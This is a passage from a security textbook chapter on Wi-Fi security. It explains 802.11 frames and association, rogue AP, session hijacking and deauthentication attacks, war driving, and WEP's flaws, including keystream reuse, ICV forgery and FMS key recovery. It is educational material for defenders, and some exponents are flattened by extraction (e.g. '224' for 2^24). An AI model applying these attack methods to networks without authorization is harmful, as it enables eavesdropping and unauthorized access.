F RAME TYPES IN 802.11. IEEE 802.11 specifies three types of frames (Fig. 12.2):
1. data frames (highest level). Satisfying the end-goal of WLANs, these carry upper-
layer protocol data for the far-end destination, and also (upper-layer) authentication
messages. Early 802.11 protection mechanisms focused largely on data frames.
2. management frames. These include messages related to beacons, probes, associations
and related (low-level non-cryptographic) authentication. They support new STA-AP
connections, and handovers between APs as mobile devices move into/out of range.
3. control frames (lowest level). These frames are related to accessing the wireless media,
and facilitate management frames and data frames. We say little more about them.
MAC header Frame body
Frame other fields including Data or Message
control 48-bit MAC addresses (MAC protocol data unit, PDU) CRC
16 bits PV: protocol version (2 bits)
32 bits
TP: frame type (2 bits)
Figure 12.2: 802.11 MAC frame format. Frame type (TP) may be: control, management,
or data frame. MAC frames are the payload of the physical layer, whose own header
information (not shown) includes a Physical Layer Convergence Protocol (PLCP) pream-
ble allowing recognition of 802.11 frames, and other information such as an explicit byte
count or transmission period in µs specifying the payload length before the trailing CRC.
342 Chapter 12. Wireless LAN Security: 802.11 and Wi-Fi
Radio spectrum bands allocated for Wi-Fi (e.g., contiguous frequency ranges around
2.4 GHz and 5 GHz) are subdivided into narrower ranges called channels. A channel
is selected by or configured into the AP.
SSID S ARE NOT SECRETS . A service set identifier (SSID) is an alphanumeric WLAN
name, up to 32 characters. This is distinct from the BSSID (ID for a BSS), an AP’s 48-bit
MAC address. An SSID may also serve as ESSID (ID for an ESS). Some early 802.11
systems treated SSIDs as secrets, allowing a device to access an AP if it knew the SSID;
this fails as an access control mechanism, because SSIDs are visible as plaintext in man-
agement frames. A rogue AP may spoof an SSID simply by asserting the text string.
M ULTICAST ADDRESSES AND INFRASTRUCTURE MODE . An 802.11 frame in-
cludes 48-bit source and destination media access control (MAC) addresses, user data,
and a cyclic redundancy code (CRC) checksum designed to detect transmission errors.
A unicast destination address specifies a single recipient; a multicast destination address
specifies a group of recipients, with special case of a designated broadcast address denot-
ing all LAN devices. In 802.11 infrastructure mode, the AP may send multicast messages;
a STA wishing to do so communicates this to the AP, which can send the multicast on the
STA ’s behalf. Our interest is in WLAN security (not addressing), but broadcast messages
are important in security: they are encrypted under a group key shared by all local (WLAN)
devices, and group key management (page 366) is important in the security architecture.
A SSOCIATION , BEACONS AND PROBES . For a wireless device (STA) to use an AP
in its signal range, a (layer 2) link-level connection or association must first be set up.
The steps for a STA to associate with an AP are as follows (as summarized in Table 12.1).
1. The STA sends probe messages soliciting information from all APs within range. APs
already advertise their presence by transmitting periodic beacon frames (e.g., every
100 ms) with network information including SSID and supported capabilities (e.g.,
data rates, security options), and to synchronize network timing. Probes elicit such
information sooner.
2. The STA selects an AP with suitable capabilities, and begins a low-level authentication
sequence using management frames. Two options were provided in the original 802.11
standard (1999): Shared Key and Open System. Shared Key authentication is now
deprecated.1 Open System (also called null authentication) omits actual authentication
at this stage—instead, in a pro forma exchange, the STA simply sends an authenticate-
request frame, and the AP returns an authenticate-response (accepted) frame. Stepping
through this apparent bit of nonsense moves the formal protocol state to “802.11-
authenticated”, as needed for a STA to proceed with association, next.
3. The STA begins an association-request sequence, ending in the 802.11 state associated,
provided that the capabilities (including security) of the AP and STA are compatible.
Depending on configured criteria, the STA might automatically associate with an AP
from a pre-specified list, from among APs previously used, by strongest AP signal, or
the user may be prompted to make a manual selection from a list of advertised SSIDs.
1 Itis worse (page 353) than no authentication at all; a student might suspect that it was designed by an
attacker. Further core 802.11 authentication options added in later revisions include SAE (page 368).
12.2. WLAN threats and mitigations 343
4. Finally, for an AP to accept data frames, an associated STA must succeed in an upper-
layer 802.1X authentication method with the authenticator (explained later, Fig. 12.4).
802.11 802.1X
New action State authenticated associated authenticated
Start state (fresh start) 0
Low-level authentication succeeded 1 X
Association succeeded 2 X
X
802.1X authentication succeeded 3 X
X
X†
Table 12.1: 802.11 connection state transitions. Upper-layer 802.1X authentication of
state 3 is distinct from the 802.11 MAC layer (e.g., null) authentication of state 1. †Open
networks (without encryption, authentication) allow network access without this stage.
AS AS
AP AP
LAN LAN
3. Using STA's MAC addr,
disassociated con�nue STA's
(ac�ng as STA) associa�on
channel 11 1. STA authen�cates
rogue AP session hijacker
channel 6
(ac�ng as AP) 2. Using AP's
MAC addr, trigger
STA to disassociate its
STA STA end of connec�on to AP
(vic�m) (a) (b) (vic�m)
Figure 12.3: (a) Rogue AP or WLAN middle-person attack. (b) WLAN session hijacking.
These attacks were common when early 802.11 became popular. Both attacks assert false
MAC addresses. In (a), the rogue AP could choose to connect to a real AP, LAN or far-end
server; using different channels facilitates separate connections.
traditional wired networks—unless a protocol above the link layer has secured the data.
ROGUE AP AND SESSION HIJACKING ATTACKS . To illustrate wireless risks, we be-
gin with rogue AP (middle-person) and wireless session hijacking attacks, which plagued
early 802.11 products; publicly available tools automated the attacks, allowing easy ex-
ploitation of weakly configured products. The attacks are easier than their wired counter-
parts, as they require no physical access to the target devices or network wires.
1. Rogue AP. This attack (Fig. 12.3a) is possible when there is no mutual authentication of
the AP to the STA. Without this, a STA has no assurance who is offering service, and relies
on an SSID that is simply asserted (a character string easily copied); any MAC address
used by a legitimate AP can also simply be asserted by an imposter. First consider the case
of no upper-layer authentication at all. The attacker (rogue AP) waits to see a connection
attempt from the STA, then offers service, asserting the true AP’s MAC address; if the
STA was already associated, the attacker can send it a disassociate frame to trigger a new
connection attempt.2 The attacker thereafter relays messages from the STA to the true AP,
asserting the STA’s MAC address to the AP. Second, for the case of unilateral 802.1X
authentication of the STA to the AP: as the STA carries out its end of the authentication
protocol, the rogue AP (without doing any verification whatsoever) simply sends the pro-
tocol message(s) indicating authentication success. The rogue AP then provides expected
network connectivity (assigning an IP address and configuration parameters).
The above assumes that data frames are not protected by session encryption and integrity.
Suppose they are, and now also mutual authentication is used. A rogue AP offering con-
nectivity to a STA may still be able to carry out a middle-person attack, simply relaying
(unaltered authentication messages and thereafter) encrypted frames to a legitimate AP—
but the rogue gains little by doing so, lacking keys to access plaintext. It could drop frames
2 Integrityprotection for some management frames including disassociate and deauthenticate frames was
introduced in 802.11w–2009 as an option. This became a requirement for WPA 3 certification (Section 12.8).
12.2. WLAN threats and mitigations 345
(inflicting denial of service), or alter frames on the fly (this will be detected), but other-
wise may just as well passively eavesdrop on the ciphertext. The mutual authentication
method here is assumed to be done properly (establishing a key then using it to derive new
keys for ongoing session encryption and integrity, as later discussed in Section 12.8).
2. Session hijacking. The attack of Fig. 12.3b is possible when no encryption is used. After
a legitimate STA completes 802.1X authentication with an AP, the attacker sends the STA
a disassociate management frame, asserting the AP’s MAC address. This triggers the STA
to disassociate, but the AP still believes it is associated (with 802.1X authentication state
intact). The AP remains ready to respond “normally”, continuing to exchange session
messages with the attacker, who falsely asserts the MAC address of the STA (victim).
Encryption stops an attacker, not knowing the key, from encrypting and decrypting.
‡Exercise (Session hijacking). (a) For historical dial-up sessions (page 370), hijack-
ing was a lower risk than for 802.11 connections—why? (Hint: [11, p.146]; a dial-up
password was the protection means.) (b) With 802.11, after the initial 802.1X authentica-
tion, how is ongoing protection provided? (Hint: wait for Section 12.3.)
WAR DRIVING ( OVERVIEW ). War driving refers to scanning radio channels in
search of in-range wireless networks.3 A narrow goal is to find an open network (i.e.,
one that grants service without requiring a password) in order to later use its services,
even if such use is not the owner’s intent. A broader goal is reconnaissance (Chapter
11): building a map of access points offering service in a predefined area,4 stereotypically
from a moving vehicle carrying a laptop with suitable software, GPS unit to record phys-
ical locations, and high-gain antenna. Omni-directional antennas are useful for mapping
neighborhoods, while directional antennas suit specific targets or long ranges (e.g., rather
than 50-100 m, up to 1 km or more). While war driving itself does not make use of data
services, active war driving (below) may send probes that trigger AP responses.
Example (NetStumbler active scanning). Circa 2004, the free (Windows-based) Net-
Stumbler tool was popular. It sent probes once per second, soliciting any SSID to respond,
and many APs are configured to do so. These frequent active probes were “noisy” (easily
detected), but nonetheless extracted metadata from APs such as hardware vendor, MAC
address, SSID, wireless channel number, signal strength, and whether encryption was
used—in which case further attack tools of the day, e.g., AirSnort, might be applied.
L EGALITY AND ETHICS . Definitions of and (severe) penalties for unauthorized net-
work access vary across jurisdictions, and change over time. Therefore, as with other
scanning and assessment activities (Chapter 11), best practice is to obtain written permis-
sion from the owners of target systems before embarking on any activities that may be
interpreted as unethical or illegal in relevant jurisdictions. Passive reception of radio sig-
nals may be viewed differently than active broadcast or unauthorized use of data services.
W IRELESS MONITORING AND MANIPULATION TOOLS . Both security analysts
and attackers may use powerful, widely available hardware and software tools for 802.11.
3 The term derives from wardialing, the practice of dialing telephone numbers in an enumerative search
pattern, seeking computer modems (modulator-demodulators) that will accept connections.
4 This motivates the alternative term access point mapping.
346 Chapter 12. Wireless LAN Security: 802.11 and Wi-Fi
Configurable drivers for wireless network interface cards (NICs) allow passive traffic
monitoring (wireless sniffing). Active manipulation tools allow frames to be altered, re-
played, and injected with arbitrary source MAC addresses. Recall that wired-LAN packet
analysis tools in promiscuous mode (Chapter 11) can collect all packets passing the inter-
face of a host’s NIC. The wireless counterpart collects traffic for a single AP (or multiple-
AP ESS) to which a wireless NIC is associated; here 100% of WLAN traffic is available
for a suitably powerful listener. A broader alternative is to set a wireless NIC into monitor
mode (RFMON mode), to passively collect all frames from all in-range SSIDs without
associating to any. Here, ESSIDs (if included) can be extracted from beacon frames, and
when ESSIDs are excluded from beacon frames, they may still appear in other frame
headers sent by a transmitting STA.
WAR DRIVING ( TACTICS ). A passive war driving tactic uses a wireless NIC in RF-
MON mode (above), capturing all frames from one channel (frequency) at a time; channel
hopping allows a specified set of channels to be monitored. The earlier NetStumbler ex-
ample, an active tactic, sends repeated probes and collects beacon data from responses.
A third tactic exploits the original 802.11 design feature of management frames not be-
ing authenticated: a disassociate or deauthenticate frame is sent, asserting the AP’s MAC
address (itself obtained by eavesdropping) as source. STAs then disassociate or deauthen-
ticate, and attempt to reassociate—allowing capture of frames with SSID and other data.
‡Exercise (Kismet, Aircrack). Describe the technical capabilities of the modern open-
source tools: (a) Kismet for passive 802.11 packet capture, analysis, and wireless monitor-
ing; and (b) Aircrack-ng, promoted for assessing 802.11 network security. (c) Summarize
Aircrack’s circa-2004 functionality, including KoreK’s chop-chop attack (hint: [24]).
W IRELESS D O S. Denial of service (DoS) is another threat to take into account, wher-
ever possible, in the design of wireless protocols. However, it is generally acknowledged
that in commercial (non-military) networks, (1) determined attackers can find ways to
disrupt wireless channels even without network access, e.g., by radio jamming; and (2)
often such attacks are easily detected, as their nature attracts attention. Stopping 100%
of such DoS attacks is thus unrealistic—too costly, if even possible. For related reasons,
some experts consider wireless DoS to be a service attack, not a security attack. Integrity
protection of management frames (footnote page 344) is not possible for frames sent prior
to establishment of session keying material; and if this protection is not enabled, as part
of a nuisance DoS or session hijacking attempt an eavesdropper observing traffic can in-
ject a disassociate or deauthenticate frame, to an AP or STA, to terminate an association
(spoofing necessary fields such as MAC address simply by assertion). For greater effect,
such a frame sent to an AP’s broadcast address may trigger all STAs to disassociate.
L OSS OF PHYSICAL BASIS FOR THREAT MODELS . Wireless connectivity alters
wired-network threat models and basic assumptions, and who we trust. In wired net-
works, in many cases we have confidence that service is provided by a trustworthy net-
work (though not always in airport hotels or foreign countries)—whereas in wireless,
rogue APs are a constant worry. As another example, in wireless networks such as Wi-Fi
hotspots in coffee shops, where one master key is shared by all WLAN users, fellow users
12.3. Security architecture: access control, EAP and RADIUS 347
can decrypt or modify your data;5 note that in wired corporate or home networks, we
more commonly assume (perhaps incorrectly) that our colleagues are not our opponents,
and that local network devices are to some extent trustworthy. With wireless networks,
attackers need not be physically on your premises to be in-range of radio service—we
thus lose physically based approaches for access control and trust, perimeter-based mech-
anisms, and approaches based on physically restricted zones; a division between insiders
(trusted, all on the same team) and outsiders (untrusted) is no longer reliable.
N EW AND HEIGHTENED RISKS . Advantages of wireless connectivity at broadband
speeds include convenience, and time and cost savings related to avoiding wiring. For
example, 802.11b and .11g already respectively offered, in 1999 and 2003, up to 11 and
54 Mbps (page 365). However, security risks also increase with wireless for reasons
including widely available tools allowing easy interception, manipulation and injection of
traffic (page 345). Table 12.2 summarizes attacks that are typically easier on wireless than
wired systems.
Table 12.2: Attacks of concern in wireless systems. With wireless systems, physical
access is not needed to read or inject frames. Replay of WLAN data or management
frames is viewed as a type of message injection.
Figure 12.4: 802.1X dual-port access control model as used in a WLAN. An optional
EAP method between STA and AS generates a PMK , which is transferred from AS to AP
(and known by STA). Upon success of a PMK-based handshake between STA and AP, the
authenticator will enable port B. Before then, authentication-related traffic (formatted in
EAP messages) is all that is accepted from STA , for relay to AS (as EAP over RADIUS ).
network. All authentication methods use the following general pattern of messages, en-
capsulated in EAP messages (Fig. 12.5). STA sends to AP a message including an identity
assertion with optional supporting evidence. This is relayed from AP to AS. Additional
STA – AS messages are exchanged as needed. A successful outcome (EAP-Success), when
seen by the authenticator, triggers it to begin the next phase, a four-pass handshake be-
tween STA and AP (page 365). First however, the PMK (needed in the handshake) is se-
curely sent from AS to AP. If the handshake succeeds (confirming that STA and AP share
the PMK, and that this is the STA authenticated by the AS), the authenticator enables the
controlled port (giving STA network access).
MAC ADDRESS ALLOWLISTS . Some early WLAN products used MAC address al-
lowlists (e.g., in APs or databases accessible to them) as a proprietary link-layer access
control method. A device could access an AP (only) if its asserted MAC address was
listed—sometimes called MAC filtering. This came with inconveniences: adding new de-
vices to allowlists before services could be used, and managing common lists across APs
within a WLAN (increasingly problematic with scale). It added a modest level of security
(vs. Open authentication, above), but only against amateur attacks—because asserting
false MAC addresses is not hard, and passive observation of cleartext MACs in frames
reveals allowlisted addresses. (While open-source 802.11 devices drivers today typically
allow MAC addresses to be altered, early device drivers did not.)
‡N ETWORKING TERMINOLOGY. The terminology “protocol A runs over B” (e.g.,
TCP over IP) may be understood from a network stack diagram (Fig. 12.5). What is higher
in the stack runs “over” what is below it. In terms of packet encapsulation, the higher
protocol is the payload of the lower—i.e., the message headers for the lower protocol
encapsulate the upper. An alternative view is as a set of concentric pipes or tubes, the
smallest in the center: the innermost tube is the top of the stack—fluid running in it is the
final payload, corresponding to data in the highest-level protocol in the stack diagram.
ROLE OF EAP . The Extensible Authentication Protocol (EAP)7 is a messaging frame-
work playing several roles in 802.11 authentication (Fig. 12.5), on the STA–AP link and
also on the AP–AS path if an AS is used. For an external AS, EAP supports a wide choice
of authentication methods, and allows repackaging and relaying of protocol messages
(independent of their specific details and message sequences) between STA and AS. This
supports execution of any selected EAP method (Section 12.8). For example, for EAP - TLS,
since STA and AS are not directly connected, the specific EAP - TLS protocol messages are
relayed between STA and AS by custom EAP packaging in two legs. The STA–AP leg
uses an encapsulation called EAP over LAN (EAPOL); the AP–AS leg uses EAP messages
over RADIUS (i.e., EAP is the payload of RADIUS). The individual authentication proto-
col selected is relied on for security and authenticated key establishment; EAP provides
transport. Once such a protocol succeeds, the AS transfers the PMK to the AP,8 for use
in the four-pass STA–AP handshake. If that succeeds, the authenticator (in the AP) finally
enables network services for the STA, via the port controller (Fig. 12.4).
details of how it uses the RC 4 stream cipher. First, knowing this history motivates the new
design, and helps us understand it. Second, in security, we learn best from mistakes and
attacks on earlier designs—and WEP is rich in this dimension.
After this initialization, plaintext is encrypted a byte at a time, using the next byte of
keystream output produced iteratively as follows. Here the persistent variables i and j,
used to index the 256-byte state vector S, are reduced (mod 256), e.g., 255 + 1 = 0.
Function RC4genNextKeystreamByte() % pseudo-random byte generation
7 i := i + 1 % unsigned byte addition (ignore carry bit)
8 j := j + S[i] % further randomize the hidden state
9 swap byte values S[i] and S[j]
10 t := S[ S[i] + S[j] ]
11 return(t) % t is next keystream byte
Thus if mi and ki are the next plaintext and keystream bytes (Fig. 12.6), the next ciphertext
byte is ci = mi ⊕ ki . This is the usual Vernam stream cipher construction (Chapter 2). To
decrypt, an identical sequence of keystream bytes ki is generated, with each plaintext byte
recovered simply by XOR’ing ki to ci : mi 0 = ci ⊕ ki = mi ⊕ ki ⊕ ki = mi since ki ⊕ ki = 0.
WEP USE OF RC 4 . In WEP, a symmetric key K is shared by the APs and STA s on
a WLAN. In practice, K is often derived from a user-chosen password—and changed
infrequently due to the inconvenience of coordinating manual update of all devices and
352 Chapter 12. Wireless LAN Security: 802.11 and Wi-Fi
APs. Let the 802.11 data frame payload data, or MAC protocol data unit (PDU) in Fig.
12.7, be denoted M. Then immediately prior to and as part of WEP encryption, two values
are concatenated (“::”) before and after it, yielding IV D::M::ICV . Here IVD is 4 bytes,
not encrypted, and holds a 24-bit IV plus a fourth byte with a KeyID (e.g., supporting
group keys, page 366). The integrity-check value (ICV) is a 32-bit CRC over the data.
M::ICV is encrypted using the RC 4 keystream (Fig. 12.6), with seed s = IV::K as the
secret key input. On receiving a WEP-encrypted frame, the receiver uses the cleartext IV
to reconstruct the RC 4 seed, regenerates the RC 4 keystream to allow decryption, decrypts,
recomputes the ICV from the decrypted PDU, and confirms the locally computed ICV
matches the decrypted ICV. If the match fails, the frame data is not made available.
RC 4 KEY SIZE . 802.11 formally specified a 40-bit WEP key K. This was to comply
with later-abandoned US export rules in place to intentionally weaken security in exported
products. Nonetheless, many early products already supported 104-bit keys K, resulting
in WEP seeds (after extension by the 24-bit IV) being either 64 or 128 bits. The longer key
increases protection against exhaustive key search (from an expected search over 0.5 × 240
keys to 0.5×2104 , a factor of 264 ). However for many eventual attacks on WEP—including
both the ICV failure and keystream stripping in Section 12.5—attack time is independent
of keysize, while for others it increases only modestly or linearly in key length, e.g., by a
factor of 2.6× in the FMS weak key attack (page 359).
E = 1 (WEP) encrypted
2+2+2 bytes 1 + 1 + 128
Authen�ca�on Frame: AP SN SC D L challenge text (128 bytes)
viewed as worse than Open System authentication. This explains the otherwise confusing
preference for Open authentication, and the deprecation of Shared Key authentication.
‡C OMMENT ON DESIGN FLAW. The above attack is enabled by the 802.11 specifi-
cation allowing, i.e., not preventing, deliberate IV reuse—which here implies keystream
reuse. This flaw is not subtle—a basic rule for stream ciphers is that keystreams must
not be reused. The consequent requirement is that key management be arranged such that
keystream reuse cannot occur, or is extremely unlikely. (As Chapter 2 notes: if a key-
stream is truly random and not reused, the Vernam construction yields a one-time pad that
is unbreakable with respect to confidentiality. In practice, a shortcut used to efficiently
emulate a one-time pad is to use pseudo-random keystreams in place of truly random
keystreams—but the essential rule remains: never reuse keystreams.)
As a second flaw here, in cryptographic protocol design it is widely recognized as un-
safe to provide, or enable extraction of, plaintext-ciphertext pairs; for plaintext precisely as
presented (without alteration), known-plaintext attacks become chosen-plaintext attacks.
A common defensive heuristic in protocols is to reserve a plaintext field into which the
responding party inserts an unpredictable value (confounder) of its own choosing.
‡A DDITIONAL DETAIL ON ATTACK ( AUTHENTICATION PROTOCOL ). The at-
tacker knows that message 3 (Fig. 12.8) includes an encrypted 4-byte ICV immediately
after the challenge text in the frame body. How is the keystream corresponding to this
ICV itself recovered? An ICV does not appear in the cleartext message 2 (it is inserted
only in encrypted frames). But this value is easily computed from the cleartext, and the
known CRC algorithm. This allows recovery of the final 4 bytes of keystream (again
simply by XOR), providing the full keystream needed to successfully forge the encrypted
response for any later (different) challenge for fixed key K. Note that in such a response,
the attacker reuses the same IV, in order for the same keystream to be valid; the attacker
knows the necessary keystream, without knowing (or needing) the master key K itself.
K EYSTREAM REUSE : GENERAL CASE BEYOND WEP . The general issue of key-
stream reuse warrants further discussion, independent of WEP. Consider a byte-oriented
Vernam stream cipher, with encryption by exclusive-or (XOR) of the keystream to the
plaintext, and then again to the ciphertext to decrypt (Fig. 12.6). Suppose two messages
are encrypted with the same keystream—what is the danger? If the two ciphertext streams
are XOR’ed, the keystreams cancel out, leaving the XOR of the two plaintext strings:
P ⊕ P0 . We mention two cases of interest.
Case 1: all or parts of P or P0 are known. This then allows immediate recovery of the
corresponding part of the other string by XOR (and then also recovery of the corresponding
part of the keystream).11 This case is not uncommon—many fixed-format messages, e.g.,
due to standard protocols, have constant fields, are known, or are easily predicted (e.g.,
a date field); plaintext P (corresponding to an encrypted message) may also be directly
available from the source. Case 2: redundancy in the plaintext messages allows well-
known statistical methods to recover the plaintext itself. As examples, ASCII-encoding
11 As we have seen, in the case of 802.11 with WEP , reuse of a recovered keystream (for a fixed K and given
IV ) can be arranged by intentional reuse of the same IV, which is set by the frame originator.
12.5. WEP attacks: authentication, integrity, keystream reuse 355
12 With only minor modifications to the attack, any T shorter than M could also be used.
356 Chapter 12. Wireless LAN Security: 802.11 and Wi-Fi
plaintext M. However, the flaw is more serious due to the following generalized attack.
An attacker not knowing any of the original plaintext M, can make any desired XOR-
alteration D to M (perhaps informed by knowing parts of M or its underlying format),
by easily computing a compensating value Dr to XOR onto the ICV position to avoid
detection;13 for any D, this is simply Dr = f (D) where f is the CRC function used for the
ICV. The following exercise explores supporting details.
‡Exercise (Full attack exploiting CRC linearity). (a) Explain why the generalized
attack works, assuming the property: f (M ⊕ T ) = f (M) ⊕ f (T ) (hint: [7]). (b) Explain
how polynomials over binary finite fields of the form GF(2t ) are represented as bitstrings,
and how in this representation, addition of polynomials is the same as bitwise XOR (hint:
Example 2.231 [30, p.85]). (c) Look up and specify the degree-32 polynomial G(x) used
by the CRC function in question (hint: pages 40–41, 1999 version of [21]). (d) Using
equations, explain how CRC values are represented as remainders of polynomial division,
and explain how this and (b) support the property in (a) (hint: [30, p.363]).
‡Exercise (ICV requires keyed hash function). The known-plaintext ICV attack still
works if the CRC function is replaced by any other function of the plaintext alone, includ-
ing an (unkeyed) cryptographic hash function. Explain why.
‡L ACK OF INDEPENDENT MECHANISMS . Note that this flawed ICV method also
fails to detect fraudulent message insertion by an attacker holding a recovered encryp-
tion keystream—obtained, e.g., by attacking Shared Key authentication (page 353); any
known-plaintext scenario also allows encryption keystream recovery. Thus rather than
having two independent protection mechanisms, in the WEP design compromise of one
(encryption) compromises the other (data authentication)—breaking a design principle.
Also, from the viewpoint that WEP’s data integrity mechanism was intended, or marketed,
as a means to prevent use of the transmission channel by unauthorized users (whereas the
usual goal of encryption is to prevent disclosure of confidential information), this data
integrity failure may be viewed as an access control failure.
IV S IN WEP . The WEP encryption design specified the use of 24-bit initialization
vectors (IVs), to vary the keystream across different frames—by the unorthodox means
of simply concatenating an IV to a fixed shared master key K. It was widely known that
reusing keystreams should be avoided, yet how to generate IVs was left as a homework
assignment for manufacturers. As it turns out, regardless of the IV generation method, 24
bits was too few from the start. An understanding of why emerges from the next example,
which explores: How long do we expect it takes before a 24-bit IV is repeated?
Example (24-bit IV spaces). For a network transmitting packets of a given (average)
size at a given (average) rate, what time will elapse before an IV collision (two packets
with the same IV)? The time is maximized if packets are assigned IV values in sequence,
e.g., from 0 to 224 − 1. Thereafter, a collision is unavoidable. For illustration and ease
of scaling, assume a network speed of 10 Mbps. This is close to the maximum 11 Mbps
(raw data rate) from the 1999-ratified 802.11b amendment, but far less than new Wi-Fi
13 Forexample, a D with a single 1-bit in one byte (other bytes all 0) will flip the corresponding bit in the
recovered plaintext. This matches our Chapter 2 example on the one-time pad not providing data integrity.
12.6. WEP security summary and full key recovery 357
networks which approach gigabits/s (Gbps). Assume also 1500-byte packets, to match
the Ethernet MTU or maximum transmission unit (802.11 supports PDUs somewhat over
2300 bytes). Our model network then supports (107 bits/s)/(1500 × 8) bits/packet =
833.33 packets/s. Multiplying by 3600 s/hr yields 3 million packets/hr (≈ 221.52 ). To
exhaust 224 distinct IVs then takes 224 /(3 · 106 ) = 5.59 hours. This time will decrease for
a faster network that is fully loaded (or has smaller frames), e.g., to a few minutes for
Gbps networks; and will increase for a slower network or one with lower traffic load.
I NEVITABLE IV COLLISIONS . In summary, even for a slow model network, IV col-
lisions occur in under a day (while the ideal period is never). The actual situation is worse:
in practice, with more than one WLAN device transmitting, the packets of all devices shar-
ing a fixed key K draw on the same IV space at once, without coordination. If IVs are
selected randomly, collisions are expected well before 224 frames—rather, on the order of
212 , due to the birthday paradox (Chapter 2), which tells us to expect collisions in time
proportional to the square root of the event space size—here, a reduction factor of 4000.
As another reality, wireless network cards may reinitialize when systems reboot (e.g., as
laptops are powered on), with common or predictable IV reset values and sequencing
algorithms both within and across manufacturers. The obvious engineering choice of re-
setting IVs to 0, and incrementing sequentially, leads to an expectation of many collisions
among IVs of low numerical value. Colliding 24-bit IVs in WEP are thus common.
We next summarize WEP security properties and key recovery, the strongest attack.
D5: In practice, across a WLAN’s devices and APs, many users share a master key. As conse-
quences: (a) users can derive the frame keys protecting other users’ data; (b) those sharing
a master key all draw on the same IV space (increasing the number of unintentional IV
collisions—resulting in reused keystreams); and (c) the master key is an attractive target.
D6: The master key is often a human-chosen or memorable string. Such keys are at risk to
simple password-guessing attacks—even in implementations configured for 104-bit secret
keys; meanwhile, the original 40-bit keys are entirely insufficient for serious protection.
Note: D5 and D6 are not design choices per se, but consequences of 802.11 declaring man-
agement and selection of keys to be beyond its scope. For D5, shared master keys can
be avoided by infrastructure or policies providing distinct users with distinct master keys,
but both are typically hard to implement or enforce in non-corporate environments.
‡S ECURITY DESIGN PRINCIPLES . WEP design choice D2 fails to provide inde-
pendence between cryptographic keys, in conflict with design principles P7 (MODULAR -
DESIGN ) and P13 ( DEFENSE - IN - DEPTH ). WEP encryption being disabled by default,
per the specification, breaks P2 (SAFE - DEFAULTS). The WEP design was open to pub-
lic scrutiny only after it was finalized, breaking principle P3 (OPEN - DESIGN).
FAILURES RELATED TO DESIGN CHOICES . We now list some of the most serious
consequences of the preceding design choices combined with how WEP used RC 4.
F1: The Shared Key authentication method had severe flaws (802.11 mode 2, now deprecated).
Passive recording of one exchange not only allows subsequent fraudulent authentication,
but immediately provides a secret keystream that can be reused by an unauthorized party
to inject arbitrary (properly encrypted) 128-byte messages. This is contrary to expecta-
tions that only legitimate devices knowing the master secret can send encrypted traffic on
the WLAN. This flaw is independent of the master secret being 40 or 104 bits.
F2: The data authentication mechanism was easy to break (encrypted CRC as ICV). Using
the ICV mechanism attack (page 355), an eavesdropper can copy a legitimate message
and inject an undetectably altered version without knowing the master secret.14 In gen-
eral, data authentication mechanisms should serve to both detect alteration and confirm
message authenticity; here, the ICV attack allows undetected alteration, while keystream
reuse enables injection of new forged messages, more directly defeating message authen-
ticity. This flaw is likewise independent of the master secret being 40 or 104 bits.
F3: Confidentiality intended by RC 4 encryption was compromised by a combination of design
choices enabling identification and reuse of keystreams, including attacks that need not
explicitly recover the master secret. Contributing factors here were design choices D1 and
D3 (short, visible IVs) and a design encouraging shared static master keys (D5), combined
with simple bytewise XOR-encryption. Keystream-type attacks are generally unimpeded
by 104-bit keys, while 40-bit keys offer no serious protection.
F4: Explicit recovery of the master secret is possible by both guessing attacks (when weak)
and (even for strong, 104-bit keys) by an efficient attack requiring only passive observation
14 On-the-fly data alteration is a more sophisticated attack, but possible in conjunction with a middle-person
attack (Fig. 12.3), itself possible because of the absence of a strong mutual authentication protocol in WEP.
12.6. WEP security summary and full key recovery 359
of traffic with little computation. In both cases, master key compromise naturally results
in total security failure of all mechanisms. We discuss these in turn.
WEP KEY RECOVERY: GUESSING ATTACKS . In practice, if a WEP master se-
cret, whether 40 or 104 bits, originates from a human-chosen password, then password-
guessing dictionary attack strategies often succeed (Chapter 4). For the 40-bit case, ex-
haustive guessing through the keyspace is easy even for truly random strings. (The next
exercise pursues user-chosen passwords in general; it may be deferred until Section 12.8.)
‡Exercise (Offline dictionary attack on PSK). Explain how recording the first two
messages of the four-pass handshake (page 365) allows an attack recovering the PSK for
weak user-chosen passwords. (Hint: page 363, equation (12.4); or [32], [24].)
WEP KEY RECOVERY: FMS ATTACK . In 2001, Fluhrer, Mantin, and Shamir (FMS)
described a method to recover WEP seed keys, thus fully breaking WEP. They found spe-
cific sets of IVs (weak IVs) that manipulate RC 4’s key setup such that the first keystream
byte leaks information on one byte of the key; gathering this over enough IVs reveals the
byte. A different set of IVs then reveals the next key byte, and so on. The attack relies
on IVs being visible (D1) and directly used as part of the seed (D4) used for key setup. A
master key shared across users (D5) makes collection of WLAN traffic both faster and sim-
pler (as all frames correspond to a fixed base key with different IVs). The attack relies on
seeing the first keystream byte for each IV used. While ciphertext reveals only the XOR of
keystream with plaintext, WEP provides a known-plaintext scenario accommodating this
requirement: the first plaintext byte of WEP-encrypted frames is the constant 0xAA.15 Thus
an XOR of 0xAA to the first encrypted payload byte yields the keystream byte as required.
The attack is iterative. At each step, given knowledge of the first i bytes of the RC 4
key (seed), it finds the next byte. For a WEP key of 40 bits (8 bytes), bytes 0–2 of a seed
(IV0 , IV1 , IV2 )::K are known (visible) from the start, with bytes 3–7 to be found. Recall
(page 351) that the seed bytes determine how the byte values 0...255 of the hidden state
vector S are permuted during key setup. A weak IV leaves S in a state that potentially leaks
information. To find the first unknown byte, seed[3], IVs with byte pattern template
(3, 255,t) are used, with most values 0 ≤ t ≤ 255 satisfying the requirements; frames with
IVs of this form are found from captured traffic. To find key byte b, 3 ≤ b ≤ 7, useful weak
IVs include those of the form (b, 255,t). An initial response of WEP product vendors was
to disallow (filter out) IVs of this pattern; however, more advanced attacks soon emerged
for which IV filtering was not possible.
‡FMS ATTACK ( DETAILS ). The first RC 4 keystream byte is z = S[S[1] + S[S[1]]]. It
depends on three entries of S at the instant key setup ends. FMS weak IVs aim to arrange
that S[1] = 0 and S[0] = b, so that z = S[0 + b] = S[b]. This value z turns out to allow a
direct calculation of seed[b], using two main observations. (1) During key setup line 4
(page 351), when i = b, the unknown seed[b] is added into j along with known values;
and (2) then in line 5, the updated value j = ji (for round i = b) determines the value
swapped into index b as new value S[b] from index ji . From line 4 it now follows that,
aside from seed[b], ji and S[ ji ] depend only on known or predictable values, including
15 Due to standards-related issues, this is part of a known-plaintext LLC/SNAP header (page 360).
360 Chapter 12. Wireless LAN Security: 802.11 and Wi-Fi
t (fixed for a given IV); here for S[ ji ], note that at this point S[h] = h for most h (from
line 1). This sketches out why seeing keystream byte S[b] allows recovery of seed[b]—
